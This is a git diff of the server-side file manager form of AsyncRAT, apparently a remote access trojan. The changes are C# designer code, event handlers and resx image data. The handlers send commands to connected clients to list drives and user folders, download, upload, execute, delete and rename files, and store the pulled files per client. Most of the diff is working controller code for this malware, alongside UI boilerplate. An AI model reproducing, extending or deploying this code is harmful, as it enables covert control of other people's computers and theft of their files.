userProfileToolStripMenuItem + // + this.userProfileToolStripMenuItem.Name = "userProfileToolStripMenuItem"; + this.userProfileToolStripMenuItem.Size = new System.Drawing.Size(204, 34); + this.userProfileToolStripMenuItem.Text = "User Profile"; + this.userProfileToolStripMenuItem.Click += new System.EventHandler(this.UserProfileToolStripMenuItem_Click); + // + // toolStripSeparator2 + // + this.toolStripSeparator2.Name = "toolStripSeparator2"; + this.toolStripSeparator2.Size = new System.Drawing.Size(201, 6); + // + // driversListsToolStripMenuItem + // + this.driversListsToolStripMenuItem.Name = "driversListsToolStripMenuItem"; + this.driversListsToolStripMenuItem.Size = new System.Drawing.Size(204, 34); + this.driversListsToolStripMenuItem.Text = "Drivers"; + this.driversListsToolStripMenuItem.Click += new System.EventHandler(this.DriversListsToolStripMenuItem_Click); + // // toolStripSeparator1 // this.toolStripSeparator1.Name = "toolStripSeparator1"; - this.toolStripSeparator1.Size = new System.Drawing.Size(186, 6); + this.toolStripSeparator1.Size = new System.Drawing.Size(237, 6); // // downloadToolStripMenuItem // this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem"; - this.downloadToolStripMenuItem.Size = new System.Drawing.Size(189, 32); + this.downloadToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.downloadToolStripMenuItem.Text = "Download"; this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click); // // uPLOADToolStripMenuItem // this.uPLOADToolStripMenuItem.Name = "uPLOADToolStripMenuItem"; - this.uPLOADToolStripMenuItem.Size = new System.Drawing.Size(189, 32); + this.uPLOADToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.uPLOADToolStripMenuItem.Text = "Upload"; this.uPLOADToolStripMenuItem.Click += new System.EventHandler(this.uPLOADToolStripMenuItem_Click); // // eXECUTEToolStripMenuItem // this.eXECUTEToolStripMenuItem.Name = "eXECUTEToolStripMenuItem"; - this.eXECUTEToolStripMenuItem.Size = new System.Drawing.Size(189, 32); + this.eXECUTEToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.eXECUTEToolStripMenuItem.Text = "Execute"; this.eXECUTEToolStripMenuItem.Click += new System.EventHandler(this.eXECUTEToolStripMenuItem_Click); // // renameToolStripMenuItem // this.renameToolStripMenuItem.Name = "renameToolStripMenuItem"; - this.renameToolStripMenuItem.Size = new System.Drawing.Size(189, 32); + this.renameToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.renameToolStripMenuItem.Text = "Rename"; this.renameToolStripMenuItem.Click += new System.EventHandler(this.RenameToolStripMenuItem_Click); // // copyToolStripMenuItem // this.copyToolStripMenuItem.Name = "copyToolStripMenuItem"; - this.copyToolStripMenuItem.Size = new System.Drawing.Size(189, 32); + this.copyToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.copyToolStripMenuItem.Text = "Copy"; this.copyToolStripMenuItem.Click += new System.EventHandler(this.CopyToolStripMenuItem_Click); // // pasteToolStripMenuItem // this.pasteToolStripMenuItem.Name = "pasteToolStripMenuItem"; - this.pasteToolStripMenuItem.Size = new System.Drawing.Size(189, 32); + this.pasteToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.pasteToolStripMenuItem.Text = "Paste"; this.pasteToolStripMenuItem.Click += new System.EventHandler(this.PasteToolStripMenuItem_Click_1); // // dELETEToolStripMenuItem // this.dELETEToolStripMenuItem.Name = "dELETEToolStripMenuItem"; - this.dELETEToolStripMenuItem.Size = new System.Drawing.Size(189, 32); + this.dELETEToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.dELETEToolStripMenuItem.Text = "Delete"; this.dELETEToolStripMenuItem.Click += new System.EventHandler(this.dELETEToolStripMenuItem_Click); // // toolStripSeparator4 // this.toolStripSeparator4.Name = "toolStripSeparator4"; - this.toolStripSeparator4.Size = new System.Drawing.Size(186, 6); + this.toolStripSeparator4.Size = new System.Drawing.Size(237, 6); // // createFolderToolStripMenuItem // this.createFolderToolStripMenuItem.Name = "createFolderToolStripMenuItem"; - this.createFolderToolStripMenuItem.Size = new System.Drawing.Size(189, 32); + this.createFolderToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.createFolderToolStripMenuItem.Text = "Create Folder"; this.createFolderToolStripMenuItem.Click += new System.EventHandler(this.CreateFolderToolStripMenuItem_Click); // @@ -214,6 +243,7 @@ // // statusStrip1 // + this.statusStrip1.AutoSize = false; this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24); this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.toolStripStatusLabel1, @@ -250,6 +280,18 @@ this.timer1.Interval = 1000; this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); // + // toolStripSeparator3 + // + this.toolStripSeparator3.Name = "toolStripSeparator3"; + this.toolStripSeparator3.Size = new System.Drawing.Size(237, 6); + // + // openClientFolderToolStripMenuItem + // + this.openClientFolderToolStripMenuItem.Name = "openClientFolderToolStripMenuItem"; + this.openClientFolderToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.openClientFolderToolStripMenuItem.Text = "Open Client Folder"; + this.openClientFolderToolStripMenuItem.Click += new System.EventHandler(this.OpenClientFolderToolStripMenuItem_Click); + // // FormFileManager // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); @@ -264,7 +306,6 @@ this.statusStrip1.ResumeLayout(false); this.statusStrip1.PerformLayout(); this.ResumeLayout(false); - this.PerformLayout(); } @@ -295,5 +336,10 @@ private System.Windows.Forms.ToolStripMenuItem pasteToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem; public System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel3; + private System.Windows.Forms.ToolStripMenuItem userProfileToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator2; + private System.Windows.Forms.ToolStripMenuItem driversListsToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator3; + private System.Windows.Forms.ToolStripMenuItem openClientFolderToolStripMenuItem; } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormFileManager.cs b/AsyncRAT-C#/Server/Forms/FormFileManager.cs index f3d8922..fcb1e9a 100644 --- a/AsyncRAT-C#/Server/Forms/FormFileManager.cs +++ b/AsyncRAT-C#/Server/Forms/FormFileManager.cs @@ -1,24 +1,25 @@ using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Windows.Forms; using System.Threading; using System.IO; using Microsoft.VisualBasic; using System.Text; +using System.Drawing; +using System.Diagnostics; namespace Server.Forms { public partial class FormFileManager : Form { + public Form1 F { get; set; } + internal Clients Client { get; set; } + public string FullPath { get; set; } public FormFileManager() { InitializeComponent(); } - - public Form1 F { get; set; } - internal Clients C { get; set; } - private void listView1_DoubleClick(object sender, EventArgs e) { try @@ -29,8 +30,10 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Path").AsString = listView1.SelectedItems[0].ToolTipText; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); - //toolStripStatusLabel1.Text = listView1.SelectedItems[0].ToolTipText; + listView1.Enabled = false; + toolStripStatusLabel3.ForeColor = Color.Green; + toolStripStatusLabel3.Text = "Please Wait"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } catch @@ -50,15 +53,14 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getDrivers"; toolStripStatusLabel1.Text = ""; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); return; } path = path.Remove(path.LastIndexOfAny(new char[] { '\\' }, path.LastIndexOf('\\'))); msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Path").AsString = path + "\\"; - //toolStripStatusLabel1.Text = path; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } catch { @@ -66,7 +68,7 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getDrivers"; toolStripStatusLabel1.Text = ""; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); return; } @@ -78,8 +80,8 @@ namespace Server.Forms { if (listView1.SelectedItems.Count > 0) { - if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID))) - Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID)); + if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID))) + Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID)); foreach (ListViewItem itm in listView1.SelectedItems) { if (itm.ImageIndex == 0 && itm.ImageIndex == 1 && itm.ImageIndex == 2) return; @@ -89,7 +91,7 @@ namespace Server.Forms msgpack.ForcePathObject("Command").AsString = "socketDownload"; msgpack.ForcePathObject("File").AsString = itm.ToolTipText; msgpack.ForcePathObject("DWID").AsString = dwid; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); this.BeginInvoke((MethodInvoker)(() => { FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; @@ -98,7 +100,7 @@ namespace Server.Forms SD = new FormDownloadFile { Name = "socketDownload:" + dwid, - Text = "socketDownload:" + C.ID, + Text = "socketDownload:" + Client.ID, F = F }; SD.Show(); @@ -113,40 +115,40 @@ namespace Server.Forms private void uPLOADToolStripMenuItem_Click(object sender, EventArgs e) { if (toolStripStatusLabel1.Text.Length >= 3) - try - { - OpenFileDialog O = new OpenFileDialog(); - O.Multiselect = true; - if (O.ShowDialog() == DialogResult.OK) + try { - foreach (string ofile in O.FileNames) + OpenFileDialog O = new OpenFileDialog(); + O.Multiselect = true; + if (O.ShowDialog() == DialogResult.OK) { - FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + ""]; - if (SD == null) + foreach (string ofile in O.FileNames) { - SD = new FormDownloadFile + FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + ""]; + if (SD == null) { - Name = "socketUpload:" + Guid.NewGuid().ToString(), - Text = "socketUpload:" + C.ID, - F = Program.form1, - C = C - }; - SD.dSize = new FileInfo(ofile).Length; - SD.labelfile.Text = Path.GetFileName(ofile); - SD.fullFileName = ofile; - SD.label1.Text = "Upload:"; - SD.clientFullFileName = toolStripStatusLabel1.Text + "\\" + Path.GetFileName(ofile); - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "fileManager"; - msgpack.ForcePathObject("Command").AsString = "reqUploadFile"; - msgpack.ForcePathObject("ID").AsString = SD.Name; - SD.Show(); - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + SD = new FormDownloadFile + { + Name = "socketUpload:" + Guid.NewGuid().ToString(), + Text = "socketUpload:" + Client.ID, + F = Program.form1, + Client = Client + }; + SD.FileSize = new FileInfo(ofile).Length; + SD.labelfile.Text = Path.GetFileName(ofile); + SD.FullFileName = ofile; + SD.label1.Text = "Upload:"; + SD.ClientFullFileName = toolStripStatusLabel1.Text + "\\" + Path.GetFileName(ofile); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "fileManager"; + msgpack.ForcePathObject("Command").AsString = "reqUploadFile"; + msgpack.ForcePathObject("ID").AsString = SD.Name; + SD.Show(); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } } } } - } - catch { } + catch { } } private void dELETEToolStripMenuItem_Click(object sender, EventArgs e) @@ -163,7 +165,7 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "deleteFile"; msgpack.ForcePathObject("File").AsString = itm.ToolTipText; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } else if (itm.ImageIndex == 0) { @@ -171,7 +173,7 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "deleteFolder"; msgpack.ForcePathObject("Folder").AsString = itm.ToolTipText; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } } @@ -189,14 +191,14 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Path").AsString = toolStripStatusLabel1.Text; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } else { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getDrivers"; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); return; } } @@ -215,7 +217,7 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "execute"; msgpack.ForcePathObject("File").AsString = itm.ToolTipText; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } } @@ -227,7 +229,11 @@ namespace Server.Forms private void Timer1_Tick(object sender, EventArgs e) { - if (!C.ClientSocket.Connected) this.Close(); + try + { + if (!Client.TcpClient.Connected) this.Close(); + } + catch { this.Close(); } } private void DESKTOPToolStripMenuItem_Click(object sender, EventArgs e) @@ -238,8 +244,7 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Path").AsString = "DESKTOP"; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); - //toolStripStatusLabel1.Text = "DESKTOP"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } catch { @@ -255,8 +260,7 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Path").AsString = "APPDATA"; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); - //toolStripStatusLabel1.Text = "APPDATA"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } catch { @@ -277,7 +281,7 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "createFolder"; msgpack.ForcePathObject("Folder").AsString = Path.Combine(toolStripStatusLabel1.Text, foldername); - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } catch { } @@ -298,7 +302,7 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "copyFile"; msgpack.ForcePathObject("File").AsString = files.ToString(); - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } catch { } @@ -312,7 +316,7 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "pasteFile"; msgpack.ForcePathObject("File").AsString = toolStripStatusLabel1.Text; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } catch { } } @@ -335,7 +339,7 @@ namespace Server.Forms msgpack.ForcePathObject("Command").AsString = "renameFile"; msgpack.ForcePathObject("File").AsString = listView1.SelectedItems[0].ToolTipText; msgpack.ForcePathObject("NewName").AsString = Path.Combine(toolStripStatusLabel1.Text, filename); - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); return; } else if (listView1.SelectedItems[0].ImageIndex == 0) @@ -345,12 +349,48 @@ namespace Server.Forms msgpack.ForcePathObject("Command").AsString = "renameFolder"; msgpack.ForcePathObject("Folder").AsString = listView1.SelectedItems[0].ToolTipText + "\\"; msgpack.ForcePathObject("NewName").AsString = Path.Combine(toolStripStatusLabel1.Text, filename); - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } } catch { } } } + + private void UserProfileToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "fileManager"; + msgpack.ForcePathObject("Command").AsString = "getPath"; + msgpack.ForcePathObject("Path").AsString = "USER"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + catch + { + + } + } + + private void DriversListsToolStripMenuItem_Click(object sender, EventArgs e) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "fileManager"; + msgpack.ForcePathObject("Command").AsString = "getDrivers"; + toolStripStatusLabel1.Text = ""; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + + private void OpenClientFolderToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + if (!Directory.Exists(FullPath)) + Directory.CreateDirectory(FullPath); + Process.Start(FullPath); + } + catch { } + } } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormFileManager.resx b/AsyncRAT-C#/Server/Forms/FormFileManager.resx index 6a554c0..88e86df 100644 --- a/AsyncRAT-C#/Server/Forms/FormFileManager.resx +++ b/AsyncRAT-C#/Server/Forms/FormFileManager.resx @@ -127,8 +127,8 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 - ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAACA - ZQAAAk1TRnQBSQFMAgEBAwEAATABAAEwAQABMAEAATABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAHA + ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk + ZQAAAk1TRnQBSQFMAgEBAwEAAUgBAAFIAQABMAEAATABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAHA AwABMAMAAQEBAAEgBgABkEYAAwEBAgMMARADJwE7AxkBIwMFAQdDAAEBQwAEAQECAwEBAgMBAQIDAQEC AwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC AwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC @@ -136,432 +136,431 @@ AwABASsAAQEDBAEFAwsBDwMUARwDFQEdAwcBCgMCAQMDAQECAwABASwAAwIBAwMIAQsDDwEUAxIBGAMS ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMS ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMS - ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEQEXAw0BEgMHAQkDAgED/wC5AAM7AWMBXgJkAd0BVQG0 + ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEQEXAw0BEgMHAQkDAgED/wC5AAM7AWMBXgJhAd0BUgG0 AdEB/wNCAXUDFgEfAwUBBwMBAQInAAEBAwMBBAMYASEDNgFYAU8CUwGlAVACUgGkAyIBMgMKAQ0DBwEJ AwMBBCgAAwEBAgMLAQ8DHwEtAy4BSAMzAVIDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMz AVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMz AVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzIBUQMs - AUQDGwEmAwgBCwMAAQH/AKkAAwQBBQMcASgDRQF8A14B1QFaAX4BmQH6AVYBtQHSAf8DRgF/AyIBMQMT - ARoDCwEPAwUBBwMBAQIDAAEBAwMBBAMHAQoDEgEYAxsBJgMkATYDOAFdA0sBjgNYAbwBWgJdAdMBXQFk - AWgB4gFdAWwBcgHwAV4BXwFiAd0DRwGCAzEBTwMgAS8DEgEYAwYBCAMCAQMDAAEBHAADBAEFAxcBIANI - AYUDUAGjA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNU + AUQDGwEmAwgBCwMAAQH/AKkAAwQBBQMcASgDRQF8A14B1QFUAXsBkAH6AVMBtQHSAf8DRgF/AyIBMQMT + ARoDCwEPAwUBBwMBAQIDAAEBAwMBBAMHAQoDEgEYAxsBJgMkATYDOAFdA0sBjgNYAbwBWgJdAdMBXQFh + AWMB4gFdAWgBagHwA14B3QNHAYIDMQFPAyABLwMSARgDBgEIAwIBAwMAAQEcAAMEAQUDFwEgA0gBhQNQ + AaMDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNU AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNU - AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDUwGqA1ABnwM4AVwDEgEZAwIBA/8A - pAABAQMCAQMDIgEyA00BkQFgAWoBcgHoAV0BlQGhAfsBVwGyAdAB/wFWAbYB0wH/A0gBgwMnATsDHgEr - AxkBIwMUARwDEwQaBCQBNgM0AVQDSQGIA1YBtAFaAV0BXwHTAV8BaQFuAeABXQF7AYMB7QFdAY0BmQH5 - AVMBpAG4Af0BVgGwAc4B/wFUAbQB0gH/AVMBlgGmAfoBYgFtAXUB5wFeAWMBZAHaA0IBdAMjATMDEgEY - AwcBCgMCAQMcAAMFAQcDHQEqA0EB+QNOAf8DTgH/A04B/wNOAf8DTgH/AwYB/wMGAf8DBgH/AwcB/wMP - Af8DLwH/A04B/wNOAf8DTgH/A04B/wNOAf8DLAH/A00B/wNNAf8DTQH/A00B/wNNAf8DTQH/A04B/wNO - Af8DTgH/A04B/wNOAf8DTgH/A04B/wNOAf8DTgH/A04B/wNOAf8DTgH/A04B/wNsAf8DVgH/A04B/wNO - Af8DTgH/A1kB1wMXASADBAEFCwABAQMCBAMEBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQME + AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNTAaoDUAGfAzgBXAMSARkDAgED/wCkAAEB + AwIBAwMiATIDTQGRAV8BZgFpAegBXQGSAZkB+wFUAbIB0AH/AVMBtgHTAf8DSAGDAycBOwMeASsDGQEj + AxQBHAMTBBoEJAE2AzQBVANJAYgDVgG0AVoCXQHTAV8BZAFmAeABXQFxAXcB7QFdAYoBkAH5AVABpAG1 + Af0BUwGwAc4B/wFRAbQB0gH/AVABjQGgAfoBYgFmAWsB5wFeAmEB2gNCAXQDIwEzAxIBGAMHAQoDAgED + HAADBQEHAx0BKgNBAfkDSwH/A0sB/wNLAf8DSwH/A0sB/wMDAf8DAwH/AwMB/wMEAf8DDAH/AywB/wNL + Af8DSwH/A0sB/wNLAf8DSwH/AykB/wNKAf8DSgH/A0oB/wNKAf8DSgH/A0oB/wNLAf8DSwH/A0sB/wNL + Af8DSwH/A0sB/wNLAf8DSwH/A0sB/wNLAf8DSwH/A0sB/wNLAf8DaQH/A1MB/wNLAf8DSwH/A0sB/wNZ + AdcDFwEgAwQBBQsAAQEDAgQDBAQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQME AQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQME - AQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQME - AQUDAgEDAwABAegAAwIBAwMNAREDVQGtAVkBhAGPAfUBVgG3AdUB/wFWAbcB1QH/AVYBtwHVAf8BVwG3 - AdQB/wNIAYQDKQE/AyMBMwMoATwDNAFUA0gBhANYAcYBYgFmAWgB7wFUAbUB0wH/AVQBtQHTAf8BVAG1 - AdMB/wFUAbUB0wH/AVQBtQHTAf8BVAG1AdMB/wFUAbUB0wH/AVQBtQHTAf8BVAG1AdMB/wFVAbUB0wH/ - AVUBtQHTAf8BVgG1AdMB/wFXAbYB0wH/A04BmAMtAUYDHwEsAxEBFwMGAQgcAAMFAQcDHwEsAz8B/gNU - Af8DVAH/A1QB/wNUAf8DVAH/AwAB/wMIAf8DRAH/A1QB/wNUAf8DVAH/A1QB/wNUAf8DVAH/A1QB/wNU - Af8DLQH/A2UB/wNlAf8DZQH/A2UB/wNlAf8DZQH/A1QB/wNUAf8DVAH/A1QB/wNUAf8DVAH/A1QB/wNU - Af8DVAH/A1QB/wNUAf8DVAH/A0YB/wEAAb8BLwH/ATcBYwE3Af8DVAH/A1QB/wNUAf8DOQH/AxgBIgME - AQUEAAMCAQMDCQEMAxoBJQMqAUEDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFE + AQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwIBAwMA + AQHoAAMCAQMDDQERA1UBrQFZAX4BhQH1AVMBtwHVAf8BUwG3AdUB/wFTAbcB1QH/AVQBtwHUAf8DSAGE + AykBPwMjATMDKAE8AzQBVANIAYQDWAHGAWIBYwFkAe8BUQG1AdMB/wFRAbUB0wH/AVEBtQHTAf8BUQG1 + AdMB/wFRAbUB0wH/AVEBtQHTAf8BUQG1AdMB/wFRAbUB0wH/AVEBtQHTAf8BUgG1AdMB/wFSAbUB0wH/ + AVMBtQHTAf8BVAG2AdMB/wNOAZgDLQFGAx8BLAMRARcDBgEIHAADBQEHAx8BLAM/Af4DUQH/A1EB/wNR + Af8DUQH/A1EB/wMAAf8DBQH/A0EB/wNRAf8DUQH/A1EB/wNRAf8DUQH/A1EB/wNRAf8DUQH/AyoB/wNi + Af8DYgH/A2IB/wNiAf8DYgH/A2IB/wNRAf8DUQH/A1EB/wNRAf8DUQH/A1EB/wNRAf8DUQH/A1EB/wNR + Af8DUQH/A1EB/wNDAf8BAAG/ASwB/wE0AWABNAH/A1EB/wNRAf8DUQH/AzYB/wMYASIDBAEFBAADAgED + AwkBDAMaASUDKgFBAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFE AywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFE - AywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMqAUEDHQEq - AwoBDgMDAQTgAAMMARADMAFLA1kBvgFdAWsBcAHtAVUBqAG7Af0BVwG4AdYB/wFXAbgB1gH/AVcBuAHW - Af8BWAG4AdUB/wFTAlUBsAFPAlABnAFWAlgBvAFcAmAB1AFbAWEBZAHhAVwBZgFsAeoBYAF2AX0B9gFR - AZMBqgH8AVUBtQHUAf8BVQG1AdQB/wFVAbUB1AH/AVUBtQHUAf8BVQG1AdQB/wFVAbUB1AH/AVUBtQHU - Af8BVQG1AdQB/wFVAbUB1AH/AVYBtQHUAf8BVgG1AdQB/wFXAbUB1AH/AVgBtgHUAf8DTgGYAy4BSAMj - ATMDGAEhAwoBDgMBAQIDAAEBFAADBQEHAx8BLAM0Af4DQAH/A0AB/wNAAf8DQAH/A0AB/wMAAf8DQAH/ - A0AB/wNAAf8DQAH/A0AB/wNAAf8DQAH/A0AB/wNAAf8DQAH/AycB/wNlAf8DZQH/A2UB/wNlAf8DZQH/ - A2UB/wNAAf8DQAH/A0AB/wNAAf8DQAH/A0AB/wNAAf8DQAH/A0AB/wNAAf8DQAH/A0AB/wM8Af8BFgGH - AVoB/wE4AToBOAH/A0AB/wNAAf8DQAH/Ay4B/wMYASIDBAEFAwABAQMWAR4DTgGUA0gB9gMyAf4DIQH/ - 